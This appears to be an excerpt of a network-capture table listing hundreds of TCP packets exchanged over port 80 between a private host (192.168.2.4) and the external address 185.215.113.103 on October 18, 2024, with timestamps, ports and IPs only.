Oct 18, 2024 15:04:10.729136944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729147911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729161024 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.729197025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.729609966 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729620934 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729630947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729641914 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729651928 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729660034 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.729662895 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729696035 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.729722023 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.730570078 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.730619907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.730631113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.730640888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.730649948 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.730679989 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.730715990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.731882095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.731894970 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.731904984 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.731950045 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.732980967 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.732994080 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.733004093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.733045101 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.733057976 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.733500957 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.733513117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.733522892 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.733563900 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.734329939 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.734343052 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.734353065 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.734383106 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.734395027 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.735326052 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.735362053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.735372066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.735393047 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.735405922 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.735433102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.735554934 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.735604048 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.736042023 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.736053944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.736063004 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.736074924 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.736099005 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.736125946 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.737818956 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.737832069 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.737842083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.737853050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.737863064 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.737915993 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.737926006 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.738388062 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.738399982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.738409996 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.738420010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.738444090 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.738459110 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.740000010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740011930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740021944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740032911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740042925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740061045 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.740081072 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.740751028 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740762949 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740773916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740784883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.740808010 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.740817070 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.742130041 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742142916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742151976 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742162943 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742183924 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.742206097 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.742913008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742925882 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742934942 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742945910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742957115 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.742976904 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.742976904 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.743001938 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.744402885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.744415998 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.744425058 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.744436979 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.744461060 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.744484901 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.745340109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.745372057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.745382071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.745393038 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.745403051 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.745419025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.745462894 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.746773958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.746787071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.746797085 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.746807098 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.746864080 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.748599052 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.748652935 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.748665094 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.748675108 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.748686075 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.748696089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.748716116 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.748749018 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.749444008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.749456882 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.749466896 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.749476910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.749500990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.749515057 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.751216888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751230001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751239061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751250029 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751260042 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751270056 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.751285076 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.751302004 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.751862049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751873970 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751883984 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751893997 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.751914978 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.751940966 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.753854036 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.753866911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.753876925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.753890038 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.753905058 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.753921986 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.754441023 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.754453897 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.754462957 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.754473925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.754483938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.754492998 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.754508018 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.754548073 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.756342888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.756355047 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.756366014 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.756376982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.756400108 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.756429911 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.757314920 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.757327080 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.757339001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.757349968 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.757359028 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.757366896 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.757383108 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.757400036 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.758899927 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.758913040 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.758924007 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.758934975 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.758948088 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.758980036 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.758990049 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.759737015 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.759749889 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.759759903 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.759771109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.759788990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.759816885 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.761260033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.761271954 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.761281967 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.761291981 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.761301994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.761317015 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.761337996 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.761348009 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.762033939 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.762046099 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.762056112 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.762067080 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.762085915 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.762124062 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.763710022 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.763724089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.763734102 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.763745070 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.763755083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.763792992 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.763818026 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.764530897 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.764543056 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.764549017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.764554024 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.764596939 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.766115904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766148090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766158104 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766168118 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766177893 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766194105 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.766222954 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.766815901 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766829014 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766839981 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766849995 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.766881943 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.766902924 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.768326044 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.768338919 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.768349886 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.768361092 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.768371105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.768379927 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.768409967 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.769092083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.769112110 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.769123077 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.769134045 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.769155025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.769185066 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.769983053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.769995928 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770005941 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770016909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770025969 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770034075 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770036936 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.770051003 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.770070076 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.770900965 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770914078 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770924091 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770934105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770944118 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.770955086 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.770967007 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.770999908 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.772202969 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.772216082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.772227049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.772238016 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.772248030 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.772258043 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.772259951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.772295952 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.773221970 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.773235083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.773245096 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.773256063 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.773266077 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.773277998 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.773302078 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.775234938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.775247097 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.775257111 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.775269985 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.775286913 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.775305986 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.775995016 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.776006937 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.776034117 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.776067972 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.776777983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.776808977 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.776818991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.776851892 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.776880026 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.778135061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.778146982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.778157949 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.778170109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.778199911 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.778224945 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.779171944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.779186010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.779196024 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.779206991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.779222965 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.779254913 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.779932022 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.779946089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.779957056 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.779968023 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.779975891 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.779998064 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.780034065 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.781925917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.781939983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.781949997 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.781961918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.781972885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.781996965 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.782032967 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.782367945 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.782381058 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.782391071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.782402039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.782417059 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.782435894 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.784756899 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.784775972 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.784786940 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.784797907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.784806967 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.784822941 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.784846067 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.785018921 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.785080910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.785092115 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.785103083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.785131931 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.785152912 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.787103891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.787117958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.787127972 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.787139893 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.787151098 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.787164927 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.787189007 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.787646055 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.787658930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.787669897 CEST	80	49799	185.215.113.103	192.168.2.4
